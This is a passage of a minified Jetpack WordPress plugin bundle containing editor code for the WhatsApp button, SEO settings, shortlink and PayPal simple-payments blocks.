installed?","jetpack")})));return"toolbar"===s?(0,r.createElement)(o.ToolbarGroup,null,(0,r.createElement)(o.Dropdown,{placement:"bottom-start",className:"jetpack-whatsapp-button-settings-selector",contentClassName:"jetpack-whatsapp-button__popover",renderToggle:e=>{let{isOpen:t,onToggle:n}=e;return((e,t)=>(0,r.createElement)(o.Button,{className:"components-toolbar__control jetpack-contact-form__toggle",label:__("WhatsApp Button Settings","jetpack"),onClick:t,onKeyDown:n=>{e||n.keyCode!==l.DOWN||(n.preventDefault(),n.stopPropagation(),t())},icon:(0,u.Z)((0,r.createElement)(o.Path,{d:"M10.82 12.49c.02-.16.04-.32.04-.49 0-.17-.02-.33-.04-.49l1.08-.82c.1-.07.12-.21.06-.32l-1.03-1.73c-.06-.11-.2-.15-.31-.11l-1.28.5c-.27-.2-.56-.36-.87-.49l-.2-1.33c0-.12-.11-.21-.24-.21H5.98c-.13 0-.24.09-.26.21l-.2 1.32c-.31.12-.6.3-.87.49l-1.28-.5c-.12-.05-.25 0-.31.11l-1.03 1.73c-.06.12-.03.25.07.33l1.08.82c-.02.16-.03.33-.03.49 0 .17.02.33.04.49l-1.09.83c-.1.07-.12.21-.06.32l1.03 1.73c.06.11.2.15.31.11l1.28-.5c.27.2.56.36.87.49l.2 1.32c.01.12.12.21.25.21h2.06c.13 0 .24-.09.25-.21l.2-1.32c.31-.12.6-.3.87-.49l1.28.5c.12.05.25 0 .31-.11l1.03-1.73c.06-.11.04-.24-.06-.32l-1.1-.83zM7 13.75c-.99 0-1.8-.78-1.8-1.75s.81-1.75 1.8-1.75 1.8.78 1.8 1.75S8 13.75 7 13.75zM18 1.01L8 1c-1.1 0-2 .9-2 2v3h2V5h10v14H8v-1H6v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99z"}))}))(t,n)},renderContent:w})):(0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.PanelBody,{title:__("WhatsApp Button Settings","jetpack"),initialOpen:!0},w()),(0,r.createElement)(a.PanelColorSettings,{title:__("Color Settings","jetpack"),initialOpen:!1,colorSettings:[{value:k,onChange:e=>(e=>{if(n({backgroundColor:e}),void 0===e||e===p||e===m)return n({colorClass:"dark"});n({colorClass:"light"})})(e),label:__("Background Color","jetpack"),disableCustomColors:!0,colors:[{name:_x("WhatsApp Green","background color name","jetpack"),slug:"whatsapp-green",color:p},{name:_x("WhatsApp Dark","background color name","jetpack"),slug:"whatsapp-dark",color:m},{name:_x("WhatsApp Light","background color name","jetpack"),slug:"whatsapp-light",color:h},{name:_x("White","background color name","jetpack"),slug:"whatsapp-white",color:"#FFFFFF"}]}]}))}},33314:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(65235),i=n.n(o),s=n(88377),l=n(71290);t.Z={attributes:s.Z,supports:{html:!1,reusable:!1},save:function(e){let{attributes:t,className:n}=e;const{countryCode:o,phoneNumber:s,firstMessage:c,colorClass:u,buttonText:d,backgroundColor:p,openInNewTab:m}=t,h=m?"_blank":"_self",f=o&&s?o.replace(/\D+/g,"")+s.replace(/\D+/g,""):"",g=i()(n,u?"is-color-"+u:void 0,d.length?void 0:"has-no-text");return(0,r.createElement)("div",{className:g},(0,r.createElement)("a",{className:"whatsapp-block__button",href:(()=>{let e=l.pf+f;return""!==c&&(e+="&text="+encodeURIComponent(c)),e})(),style:{backgroundColor:p},target:h,rel:"noopener noreferrer"},(0,r.createElement)(a.RichText.Content,{value:d})))}}},49150:function(e,t,n){"use strict";n.d(t,{Z:function(){return d}});var r=n(51806),a=n(52175),o=n(9818),i=n(69307),s=n(65235),l=n.n(s),c=n(46482),u=n(35513);function d(e){let{attributes:t,setAttributes:n,className:s,clientId:d}=e;const{countryCode:p,buttonText:m,colorClass:h,backgroundColor:f}=t,{selectBlock:g}=(0,o.useDispatch)("core/block-editor"),b=(0,i.useCallback)((async()=>{n({countryCode:"1"});const e=await fetch("https://public-api.wordpress.com/geo/").then((e=>!!e.ok&&e)).catch((()=>!1));if(e){const t=await e.json();c.n.forEach((e=>{e.code===t.country_short&&n({countryCode:e.value})}))}}),[n]);(0,i.useEffect)((()=>{void 0===p&&(b(),g(d))}),[d,p,b,g]);return(0,r.createElement)("div",{className:l()(s,h?"is-color-"+h:void 0)},(0,r.createElement)(a.BlockControls,null,(0,r.createElement)(u.Z,{context:"toolbar",setAttributes:n,attributes:t})),(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(u.Z,{context:"inspector",setAttributes:n,attributes:t})),(0,r.createElement)(a.RichText,{placeholder:m.default,value:m,onChange:e=>n({buttonText:e}),withoutInteractiveFormatting:!0,allowedFormats:[],className:"whatsapp-block__button",tagName:"a",preserveWhiteSpace:!1,style:{backgroundColor:f,color:"dark"===h?"#fff":"#465B64"}}))}},57954:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(70355);t.Z=(0,r.createElement)(a.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,r.createElement)(a.Path,{fill:(0,o.m)(),d:"M24,11.6909333 C24,18.1477333 18.7256,23.3818667 12.2181333,23.3818667 C10.1522667,23.3818667 8.21146667,22.8538667 6.52293333,21.9272 L0,24 L2.12666667,17.7274667 C1.05386667,15.9658667 0.436,13.8997333 0.436,11.6909333 C0.436,5.23413333 5.71093333,0 12.2181333,0 C18.7261333,0 24,5.23413333 24,11.6909333 Z M12.2181333,1.86186667 C6.75573333,1.86186667 2.31253333,6.2712 2.31253333,11.6909333 C2.31253333,13.8416 3.0136,15.8333333 4.19946667,17.4536 L2.96186667,21.104 L6.76853333,19.8941333 C8.33253333,20.9210667 10.2061333,21.52 12.2184,21.52 C17.68,21.52 22.124,17.1112 22.124,11.6914667 C22.124,6.27173333 17.6802667,1.86186667 12.2181333,1.86186667 Z M18.1677333,14.3834667 C18.0949333,14.2642667 17.9026667,14.1922667 17.6141333,14.0490667 C17.3250667,13.9058667 15.9048,13.2122667 15.6408,13.1170667 C15.376,13.0216 15.1829333,12.9736 14.9906667,13.2602667 C14.7984,13.5472 14.2448,14.1922667 14.076,14.3834667 C13.9074667,14.5752 13.7392,14.5992 13.4501333,14.4557333 C13.1616,14.3125333 12.2312,14.0096 11.128,13.0336 C10.2696,12.2741333 9.68986667,11.3365333 9.52133333,11.0493333 C9.35306667,10.7626667 9.50373333,10.6077333 9.648,10.4650667 C9.77813333,10.3365333 9.93706667,10.1304 10.0813333,9.9632 C10.2261333,9.79573333 10.2741333,9.67653333 10.3698667,9.48506667 C10.4666667,9.29386667 10.4184,9.12666667 10.3458667,8.98293333 C10.2738667,8.83973333 9.69573333,7.4296 9.4552,6.85573333 C9.21466667,6.2824 8.9744,6.37786667 8.8056,6.37786667 C8.63733333,6.37786667 8.44453333,6.35386667 8.252,6.35386667 C8.05946667,6.35386667 7.7464,6.4256 7.4816,6.71226667 C7.21706667,6.9992 6.4712,7.69253333 6.4712,9.1024 C6.4712,10.5125333 7.5056,11.8749333 7.6504,12.0658667 C7.79466667,12.2568 9.64773333,15.2445333 12.5837333,16.392 C15.52,17.5389333 15.52,17.1562667 16.0496,17.1082667 C16.5786667,17.0605333 17.7578667,16.4152 17.9994667,15.7464 C18.2394667,15.0765333 18.2394667,14.5029333 18.1677333,14.3834667 Z"}))},71290:function(e,t,n){"use strict";n.d(t,{Xd:function(){return m},pf:function(){return p},u2:function(){return u}});var r=n(65736),a=n(70355),o=n(88377),i=n(33314),s=n(49150),l=n(57954),c=n(89014);const __=r.__,_x=r._x,u="whatsapp-button",d=__("WhatsApp Button","jetpack"),p="https://api.whatsapp.com/send?phone=",m=(__("Chat on WhatsApp","jetpack"),__("Hi, I got your WhatsApp information from your website.","jetpack"),{title:d,description:__("Let your visitors send you a message on WhatsApp with the tap of a button.","jetpack"),icon:{src:l.Z,foreground:(0,a.m)()},category:"grow",parent:["jetpack/send-a-message"],keywords:[_x("whatsapp","keyword","jetpack"),_x("messenger","keyword","jetpack"),_x("contact","keyword","jetpack"),_x("support","keyword","jetpack")],supports:{html:!1,reusable:!1,align:["left","center","right"]},attributes:o.Z,edit:s.Z,save:c.Z,example:{attributes:{countryCode:"1",phoneNumber:"555-123-4567"}},deprecated:[i.Z]})},89014:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(52175),o=n(65235),i=n.n(o),s=n(71290);function l(e){let{attributes:t,className:n}=e;const{countryCode:o,phoneNumber:l,firstMessage:c,buttonText:u,backgroundColor:d,colorClass:p,openInNewTab:m}=t,h=o&&l?o.replace(/\D+/g,"")+l.replace(/\D+/g,""):"",f=i()(n,p?"is-color-"+p:void 0,u.length?void 0:"has-no-text"),g=m?"_blank":"_self";return(0,r.createElement)("div",{className:f},(0,r.createElement)("a",{className:"whatsapp-block__button",href:(()=>{let e=s.pf+h;return""!==c&&(e+="&text="+encodeURIComponent(c)),e})(),style:{backgroundColor:d,color:"dark"===p?"#fff":"#465B64"},target:g,rel:"noopener noreferrer"},(0,r.createElement)(a.RichText.Content,{value:u})))}},4587:function(e,t,n){"use strict";n.d(t,{J:function(){return l}});var r=n(82674),a=n.n(r),o=n(51806),i=n(55609),s=n(65736);n(99196);const __=s.__,_n=s._n,l=e=>{let{suggestedLimit:t,value:n,label:r,...l}=e;const c=!t||n.length<=t?(0,s.sprintf)(/* translators: Placeholder is a number of characters in a sentence. */
_n("%d character","%d characters",n.length,"jetpack"),n.length):(0,s.sprintf)(/* translators: Placeholder is a number of characters in a sentence. */
__("It's recommended to use less than %d characters in this field.","jetpack"),t);return(0,o.createElement)("div",{className:"jetpack-seo-message-box"},(0,o.createElement)(i.TextareaControl,a()({label:r,help:c,value:n},l)))}},74866:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(69307),s=n(65736),l=n(4587),c=n(84638);const __=s.__;class u extends i.Component{constructor(){super(...arguments),a()(this,"onMessageChange",(e=>{this.props.updateMetaValue(e)}))}render(){const{metaValue:e}=this.props;return(0,o.createElement)(l.J,{value:e,onChange:this.onMessageChange,label:__("SEO Description","jetpack"),placeholder:__("Write a description…","jetpack"),rows:4})}}t.Z=(0,c.M)("advanced_seo_description")(u)},86254:function(e,t,n){"use strict";var r=n(13419),a=n(8606);(0,r.o_)(a.u,a.X)},8606:function(e,t,n){"use strict";n.d(t,{X:function(){return g},u:function(){return f}});var r=n(82674),a=n.n(r),o=n(51806),i=n(78868),s=n(55609),l=n(72067),c=n(69307),u=n(65736),d=n(34613),p=n(74866),m=n(95377),h=n(4773);const __=u.__,f="seo",g={render:()=>{const e={title:__("SEO","jetpack")},t={icon:(0,o.createElement)(i.Z,{showText:!1,height:16,logoColor:"#1E1E1E"}),title:__("SEO","jetpack")};return(0,o.createElement)(c.Fragment,null,(0,o.createElement)(d.Z,null,(0,o.createElement)(s.PanelBody,a()({className:"jetpack-seo-panel"},e),(0,o.createElement)(s.PanelRow,null,(0,o.createElement)(h.Z,null)),(0,o.createElement)(s.PanelRow,null,(0,o.createElement)(p.Z,null)),(0,o.createElement)(s.PanelRow,null,(0,o.createElement)(m.Z,null)))),(0,o.createElement)(l.PluginPrePublishPanel,t,(0,o.createElement)(c.Fragment,null,(0,o.createElement)(s.PanelRow,null,(0,o.createElement)(h.Z,null)),(0,o.createElement)(s.PanelRow,null,(0,o.createElement)(p.Z,null)),(0,o.createElement)(s.PanelRow,null,(0,o.createElement)(m.Z,null)))))}}},95377:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(65736),i=(n(99196),n(84638));const __=o.__;t.Z=(0,i.M)("jetpack_seo_noindex")((e=>{let{metaValue:t,updateMetaValue:n}=e;return(0,r.createElement)(a.CheckboxControl,{label:__("Hide page from search engines","jetpack"),help:__("If selected, a 'noindex' tag will help instruct search engines to not include this page in search results. This page will also be removed from the Jetpack sitemap.","jetpack"),checked:!!t,onChange:e=>{n(e)}})}))},4773:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(69307),s=n(65736),l=(n(99196),n(4587)),c=n(84638);const __=s.__;class u extends i.Component{constructor(){super(...arguments),a()(this,"onTitleChange",(e=>{this.props.updateMetaValue(e)}))}render(){const{metaValue:e}=this.props;return(0,o.createElement)(l.J,{value:e,onChange:this.onTitleChange,label:__("SEO Title","jetpack"),placeholder:__("Write a title…","jetpack"),suggestedLimit:70,rows:2})}}t.Z=(0,c.M)("jetpack_seo_html_title")(u)},84638:function(e,t,n){"use strict";n.d(t,{M:function(){return i}});var r=n(94333),a=n(9818),o=n(92819);const i=e=>(0,r.compose)([(0,a.withSelect)((t=>({metaValue:(0,o.get)(t("core/editor").getEditedPostAttribute("meta"),[e],"")}))),(0,a.withDispatch)((t=>({updateMetaValue(n){var r;"boolean"!=typeof(r=n)&&("string"!=typeof r||""!==r&&0===r.trim().length)||t("core/editor").editPost({meta:{[e]:n}})}})))])},14406:function(e,t,n){"use strict";var r=n(13419),a=n(44487);(0,r.o_)(a.u,a.X)},44487:function(e,t,n){"use strict";n.d(t,{X:function(){return p},u:function(){return d}});var r=n(51806),a=n(55609),o=n(9818),i=n(69307),s=n(65736),l=n(92819),c=n(26788),u=n(34613);const __=s.__,d="shortlinks",p={render:()=>(0,r.createElement)(h,null)};class m extends i.Component{render(){const{shortlink:e}=this.props;return e?(0,r.createElement)(u.Z,null,(0,r.createElement)(a.PanelBody,{title:__("Shortlink","jetpack"),className:"jetpack-shortlinks__panel",initialOpen:!1},(0,r.createElement)(c.Z,{link:e}))):null}}const h=(0,o.withSelect)((e=>{const t=e("core/editor").getCurrentPost();return{shortlink:(0,l.get)(t,"jetpack_shortlink","")}}))(m)},36825:function(e,t,n){"use strict";n.d(t,{LC:function(){return r},Rh:function(){return o},a7:function(){return a}});const r="jp_pay_product",a="USD",o=[a,"EUR","AUD","BRL","CAD","CZK","DKK","HKD","HUF","ILS","JPY","MYR","MXN","TWD","NZD","NOK","PHP","PLN","GBP","RUB","SGD","SEK","CHF","THB"]},65093:function(e,t,n){"use strict";n.d(t,{G:function(){return i}});var r=n(51806),a=n(55609),o=n(65736);const __=o.__;function i(e){let{setAttributes:t,postLinkText:n}=e;return(0,r.createElement)(a.PanelBody,{title:__("Settings","jetpack"),initialOpen:!1},(0,r.createElement)(a.BaseControl,{label:__("Purchase link text","jetpack"),help:__("Enter the text you want to display on a purchase link used as fallback when the PayPal button cannot be used (e.g. emails, AMP, etc.)","jetpack"),className:"jetpack-simple-payments__purchase-link-text"},(0,r.createElement)(a.TextControl,{placeholder:__("Click here to purchase","jetpack"),onChange:e=>t({postLinkText:e}),value:n})))}},66763:function(e,t,n){"use strict";var r=n(51806),a=n(69307);t.Z={attributes:{currency:{type:"string",default:"USD"},content:{type:"string",default:""},email:{type:"string",default:""},featuredMediaId:{type:"number",default:0},featuredMediaUrl:{type:"string",default:null},featuredMediaTitle:{type:"string",default:null},multiple:{type:"boolean",default:!1},price:{type:"number"},productId:{type:"number"},title:{type:"string",default:""}},supports:{className:!1,customClassName:!1,html:!1,reusable:!1},save:e=>{let{attributes:t}=e;const{productId:n}=t;return n?(0,r.createElement)(a.RawHTML,null,`[simple-payment id="${n}"]`):null}}},21559:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(43317),s=n(52175),l=n(55609),c=n(94333),u=n(9818),d=n(69307),p=n(65736),m=n(65235),h=n.n(m),f=n(92384),g=n(92819),b=n(59809),v=n(36825),k=n(39416),y=n(72802),E=n(96059);const __=p.__,_n=p._n;class w extends d.Component{constructor(){super(...arguments),a()(this,"state",{fieldEmailError:null,fieldPriceError:null,fieldTitleError:null,isSavingProduct:!1}),a()(this,"shouldInjectPaymentAttributes",!!this.props.attributes.productId),a()(this,"validateAttributes",(()=>{const e=this.validatePrice(),t=this.validateTitle(),n=this.validateEmail(),r=this.validateCurrency();return e&&t&&n&&r})),a()(this,"validateCurrency",(()=>{const{currency:e}=this.props.attributes;return v.Rh.includes(e)})),a()(this,"validatePrice",(()=>{const{currency:e,price:t}=this.props.attributes,{precision:n}=(0,i.X)(e);return t&&0!==parseFloat(t)?Number.isNaN(parseFloat(t))?(this.setState({fieldPriceError:__("Invalid price","jetpack")}),!1):parseFloat(t)<0?(this.setState({fieldPriceError:__("Your price is negative — enter a positive number so people can pay the right amount.","jetpack")}),!1):(0,E.N3)(t)>n?0===n?(this.setState({fieldPriceError:__("We know every penny counts, but prices in this currency can’t contain decimal values.","jetpack")}),!1):(this.setState({fieldPriceError:(0,p.sprintf)(/* translators: Placeholder is a number of decimals in a number. */
_n("The price cannot have more than %d decimal place.","The price cannot have more than %d decimal places.",n,"jetpack"),n)}),!1):(this.state.fieldPriceError&&this.setState({fieldPriceError:null}),!0):(this.setState({fieldPriceError:__("If you’re selling something, you need a price tag. Add yours here.","jetpack")}),!1)})),a()(this,"validateEmail",(()=>{const{email:e}=this.props.attributes;return e?f.validate(e)?(this.state.fieldEmailError&&this.setState({fieldEmailError:null}),!0):(this.setState({fieldEmailError:(0,p.sprintf)(/* translators: placeholder is an email address. */
__("%s is not a valid email address.","jetpack"),e)}),!1):(this.setState({fieldEmailError:__("We want to make sure payments reach you, so please add an email address.","jetpack")}),!1)})),a()(this,"validateTitle",(()=>{const{title:e}=this.props.attributes;return e?(this.state.fieldTitleError&&this.setState({fieldTitleError:null}),!0):(this.setState({fieldTitleError:__("Please add a brief title so that people know what they’re paying for.","jetpack")}),!1)})),a()(this,"handleEmailChange",(e=>{this.props.setAttributes({email:e}),this.setState({fieldEmailError:null})})),a()(this,"handleContentChange",(e=>{this.props.setAttributes({content:e})})),a()(this,"handlePriceChange",(e=>{e=parseFloat(e),isNaN(e)?this.props.setAttributes({price:void 0}):this.props.setAttributes({price:e}),this.setState({fieldPriceError:null})})),a()(this,"handleCurrencyChange",(e=>{this.props.setAttributes({currency:e})})),a()(this,"handleMultipleChange",(e=>{this.props.setAttributes({multiple:!!e})})),a()(this,"handleTitleChange",(e=>{this.props.setAttributes({title:e}),this.setState({fieldTitleError:null})})),a()(this,"getCurrencyList",v.Rh.map((e=>{const{symbol:t}=(0,i.X)(e);return{value:e,label:t===e?e:`${e} ${(0,g.trimEnd)(t,".")}`}}))),a()(this,"renderSettings",(()=>(0,o.createElement)(s.InspectorControls,null,(0,o.createElement)(l.PanelBody,{title:__("Settings","jetpack"),initialOpen:!1},(0,o.createElement)(l.BaseControl,{label:__("Purchase link text","jetpack"),help:__("Enter the text you want to display on a purchase link used as fallback when the PayPal button cannot be used (e.g. emails, AMP, etc.)","jetpack"),className:"jetpack-simple-payments__purchase-link-text"},(0,o.createElement)(l.TextControl,{placeholder:__("Click here to purchase","jetpack"),onChange:e=>this.props.setAttributes({postLinkText:e}),value:this.props.attributes.postLinkText}))))))}componentDidMount(){this.injectPaymentAttributes();const{attributes:e,hasPublishAction:t,postLinkUrl:n,setAttributes:r}=this.props,{productId:a}=e;!a&&t&&this.saveProduct();const o=n&&n!==this.props.attributes.postLinkUrl,i=!this.props.attributes.postLinkText;(o||i)&&r({...o&&{postLinkUrl:n},...i&&{postLinkText:__("Click here to purchase.","jetpack")}})}componentDidUpdate(e){const{hasPublishAction:t,isSelected:n,postLinkUrl:r,setAttributes:a}=this.props;(0,g.isEqual)(e.simplePayment,this.props.simplePayment)||this.injectPaymentAttributes(),!e.isSaving&&this.props.isSaving&&t&&this.validateAttributes()?this.saveProduct():e.isSelected&&!n&&this.validateAttributes();const o=r&&r!==this.props.attributes.postLinkUrl,i=!this.props.attributes.postLinkText;(o||i)&&a({...o&&{postLinkUrl:r},...i&&{postLinkText:__("Click here to purchase.","jetpack")}})}injectPaymentAttributes(){const{simplePayment:e,featuredMedia:t}=this.props;if(!this.shouldInjectPaymentAttributes||(0,g.isEmpty)(e))return;const{attributes:n,setAttributes:r}=this.props,{content:a,currency:o,email:i,featuredMediaId:s,featuredMediaUrl:l,featuredMediaTitle:c,multiple:u,price:d,title:p}=n;r({content:(0,g.get)(e,["content","raw"],a),currency:(0,g.get)(e,["meta","spay_currency"],o),email:(0,g.get)(e,["meta","spay_email"],i),featuredMediaId:(0,g.get)(e,["featured_media"],s),featuredMediaUrl:(0,g.get)(t,"url",l),featuredMediaTitle:(0,g.get)(t,"title",c),multiple:Boolean((0,g.get)(e,["meta","spay_multiple"],Boolean(u))),price:(0,g.get)(e,["meta","spay_price"],d||void 0),title:(0,g.get)(e,["title","raw"],p)}),this.shouldInjectPaymentAttributes=!this.shouldInjectPaymentAttributes}toApi(){const{attributes:e}=this.props,{content:t,currency:n,email:r,featuredMediaId:a,multiple:o,price:i,productId:s,title:l}=e;return{id:s,content:t,featured_media:a,meta:{spay_currency:n,spay_email:r,spay_multiple:o,spay_price:i},status:s?"publish":"draft",title:l}}saveProduct(){if(this.state.isSavingProduct)return;const{attributes:e,setAttributes:t}=this.props,{email:n}=e,{saveEntityRecord:r}=(0,u.dispatch)("core");this.setState({isSavingProduct:!0},(()=>{r("postType",v.LC,this.toApi()).then((e=>(e&&t({productId:e.id}),e))).catch((e=>{if(!e||!e.data)return;const{data:{key:t}}=e;this.setState({fieldEmailError:"spay_email"===t?(0,p.sprintf)(/* translators: placeholder is an email address. */
__("%s is not a valid email address.","jetpack"),n):null,fieldPriceError:"spay_price"===t?__("Invalid price.","jetpack"):null})})).finally((()=>{this.setState({isSavingProduct:!1})}))}))}render(){const{fieldEmailError:e,fieldPriceError:t,fieldTitleError:n}=this.state,{attributes:r,instanceId:a,isSelected:i,setAttributes:s,simplePayment:c}=this.props,{content:u,currency:d,email:p,featuredMediaId:m,featuredMediaUrl:f,featuredMediaTitle:v,multiple:w,price:_,productId:C,title:S}=r,j=C&&(0,g.isEmpty)(c);if(!i&&j)return(0,o.createElement)("div",{className:"simple-payments__loading"},(0,o.createElement)(y.Z,{"aria-busy":"true",content:"█████",formattedPrice:"█████",title:"█████"}));if(!i&&p&&_&&S&&!e&&!t&&!n)return(0,o.createElement)(y.Z,{"aria-busy":"false",content:u,featuredMediaUrl:f,featuredMediaTitle:v,formattedPrice:(0,E.w)(_,d),multiple:w,title:S});const x=j?l.Disabled:"div";return(0,o.createElement)(x,{className:"wp-block-jetpack-simple-payments"},this.renderSettings(),(0,o.createElement)(k.Z,{featuredMediaId:m,featuredMediaUrl:f,featuredMediaTitle:v,setAttributes:s}),(0,o.createElement)("div",null,(0,o.createElement)(l.TextControl,{"aria-describedby":`${a}-title-error`,className:h()("simple-payments__field","simple-payments__field-title",{"simple-payments__field-has-error":n}),label:__("Item name","jetpack"),onChange:this.handleTitleChange,placeholder:__("Item name","jetpack"),required:!0,type:"text",value:S}),(0,o.createElement)(b.Z,{id:`${a}-title-error`,isError:!0},n),(0,o.createElement)(l.TextareaControl,{className:"simple-payments__field simple-payments__field-content",label:__("Describe your item in a few words","jetpack"),onChange:this.handleContentChange,placeholder:__("Describe your item in a few words","jetpack"),value:u}),(0,o.createElement)("div",{className:"simple-payments__price-container"},(0,o.createElement)(l.SelectControl,{className:"simple-payments__field simple-payments__field-currency",label:__("Currency","jetpack"),onChange:this.handleCurrencyChange,options:this.getCurrencyList,value:d}),(0,o.createElement)(l.TextControl,{"aria-describedby":`${a}-price-error`,className:h()("simple-payments__field","simple-payments__field-price",{"simple-payments__field-has-error":t}),label:__("Price","jetpack"),onChange:this.handlePriceChange,placeholder:(0,E.w)(0,d,!1),required:!0,step:"1",type:"number",value:_||""}),(0,o.createElement)(b.Z,{id:`${a}-price-error`,isError:!0},t)),(0,o.createElement)("div",{className:"simple-payments__field-multiple"},(0,o.createElement)(l.ToggleControl,{checked:Boolean(w),label:__("Allow people to buy more than one item at a time","jetpack"),onChange:this.handleMultipleChange})),(0,o.createElement)(l.TextControl,{"aria-describedby":`${a}-email-${e?"error":"help"}`,className:h()("simple-payments__field","simple-payments__field-email",{"simple-payments__field-has-error":e}),label:__("Email","jetpack"),onChange:this.handleEmailChange,placeholder:__("Email","jetpack"),required:!0,type:"text",value:p}),(0,o.createElement)(b.Z,{id:`${a}-email-error`,isError:!0},e),(0,o.createElement)(b.Z,{id:`${a}-email-help`},__("Enter the email address associated with your PayPal account. Don’t have an account?","jetpack")+" ",(0,o.createElement)(l.ExternalLink,{href:"https://www.paypal.com/"},__("Create one on PayPal","jetpack")))))}}const _=(0,u.withSelect)(((e,t)=>{const{getEntityRecord:n,getMedia:r}=e("core"),{isSavingPost:a,getCurrentPost:o}=e("core/editor"),{productId:i,featuredMediaId:s}=t.attributes,l=i?(0,g.pick)(n("postType",v.LC,i),[["content"],["meta","spay_currency"],["meta","spay_email"],["meta","spay_multiple"],["meta","spay_price"],["title","raw"],["featured_media"]]):void 0,c=o();return{hasPublishAction:!!(0,g.get)(c,["_links","wp:action-publish"]),isSaving:!!a(),simplePayment:l,featuredMedia:s?r(s):null,postLinkUrl:c.link}}));t.Z=(0,c.compose)(_,c.withInstanceId)(w)},24097:function(e,t,n){"use strict";var r=n(51806),a=n(13419),o=n(55609),i=n(69307),s=n(65736),l=n(70355),c=n(36825),u=n(21559),d=n(83080);const __=s.__,_x=s._x,p=(0,r.createElement)(o.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,r.createElement)(o.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(o.Path,{d:"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2zm0 14H4v-6h16v6zm0-10H4V6h16v2z"})),m=(0,a.Wp)()||(0,a.Ug)()?"https://wordpress.com/support/pay-with-paypal/":"https://jetpack.com/support/jetpack-blocks/pay-with-paypal/",h={title:__("Pay with PayPal","jetpack"),description:(0,r.createElement)(i.Fragment,null,(0,r.createElement)("p",null,__("Lets you add credit and debit card payment buttons with minimal setup.","jetpack")),(0,r.createElement)("p",null,__("Good for collecting donations or payments for products and services.","jetpack")),(0,r.createElement)(o.ExternalLink,{href:m},__("Support reference","jetpack"))),icon:{src:p,foreground:(0,l.m)()},category:"earn",keywords:[_x("buy","block search term","jetpack"),_x("commerce","block search term","jetpack"),_x("products","block search term","jetpack"),_x("purchase","block search term","jetpack"),_x("sell","block search term","jetpack"),_x("shop","block search term","jetpack"),_x("simple","block search term","jetpack"),_x("payments","block search term","jetpack"),"PayPal"],attributes:{currency:{type:"string",default:c.a7},content:{type:"string",source:"html",selector:".jetpack-simple-payments-description p",default:""},email:{type:"string",default:""},featuredMediaId:{type:"number",default:0},featuredMediaUrl:{type:"string",source:"attribute",selector:".jetpack-simple-payments-image img",attribute:"src",default:null},featuredMediaTitle:{type:"string",source:"attribute",selector:".jetpack-simple-payments-image img",attribute:"alt",default:null},multiple:{type:"boolean",default:!1},postLinkUrl:{type:"string",source:"attribute",selector:".jetpack-simple-payments-purchase",attribute:"href"},postLinkText:{type:"string",source:"html",selector:".jetpack-simple-payments-purchase",default:__("Click here to purchase.","jetpack")},price:{type:"number"},productId:{type:"number"},title:{type:"string",source:"html",selector:".jetpack-simple-payments-title p",default:""}},transforms:{from:[{type:"shortcode",tag:"simple-payment",attributes:{productId:{type:"number",shortcode:e=>{let{named:{id:t}}=e;if(!t)return;const n=parseInt(t,10);return n||void 0}}}}]},edit:u.Z,save:d.Z,supports:{className:!1,customClassName:!1,html:!1,reusable:!1}};t.Z=h},83080:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(96059);function o(e){let{attributes:t}=e;const{content:n,currency:o,featuredMediaUrl:i,featuredMediaTitle:s,postLinkUrl:l,postLinkText:c,price:u,productId:d,title:p}=t;return d?(0,r.createElement)("div",{className:`jetpack-simple-payments-wrapper jetpack-simple-payments-${d}`},(0,r.createElement)("div",{className:"jetpack-simple-payments-product"},i&&(0,r.createElement)("div",{className:"jetpack-simple-payments-product-image"},(0,r.createElement)("div",{className:"jetpack-simple-payments-image"},(0,r.createElement)("figure",null,(0,r.createElement)("img",{src:i,alt:s})))),(0,r.createElement)("div",{className:"jetpack-simple-payments-details"},(0,r.createElement)("div",{className:"jetpack-simple-payments-title"},(0,r.createElement)("p",null,p)),(0,r.createElement)("div",{className:"jetpack-simple-payments-description"},(0,r.createElement)("p",null,n)),(0,r.createElement)("div",{className:"jetpack-simple-payments-price"},(0,r.createElement)("p",null,(0,a.w)(u,o))),(0,r.createElement)("a",{className:"jetpack-simple-payments-purchase",href:l,target:"_blank",rel:"noopener noreferrer"},c)))):null}},36239:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(43317),s=n(52175),l=n(55609),c=n(94333),u=n(9818),d=n(69307),p=n(65736),m=n(6551),h=n(65235),f=n.n(h),g=n(92384),b=n(92819),v=n(59809),k=n(36825),y=n(65093),E=n(39416),w=n(72802),_=n(96059);const __=p.__,_n=p._n;class C extends d.Component{constructor(){super(...arguments),a()(this,"state",{fieldEmailError:null,fieldPriceError:null,fieldTitleError:null,isSavingProduct:!1}),a()(this,"shouldInjectPaymentAttributes",!!this.props.attributes.productId),a()(this,"validateAttributes",(()=>{const e=this.validatePrice(),t=this.validateTitle(),n=this.validateEmail(),r=this.validateCurrency();return e&&t&&n&&r})),a()(this,"validateCurrency",(()=>{const{currency:e}=this.props.attributes;return k.Rh.includes(e)})),a()(this,"validatePrice",(()=>{const{currency:e,price:t}=this.props.attributes,{precision:n}=(0,i.X)(e);return t&&0!==parseFloat(t)?Number.isNaN(parseFloat(t))?(this.setState({fieldPriceError:__("Invalid price","jetpack")}),!1):parseFloat(t)<0?(this.setState({fieldPriceError:__("Your price is negative — enter a positive number so people can pay the right amount.","jetpack")}),!1):(0,_.N3)(t)>n?0===n?(this.setState({fieldPriceError:__("We know every penny counts, but prices in this currency can’t contain decimal 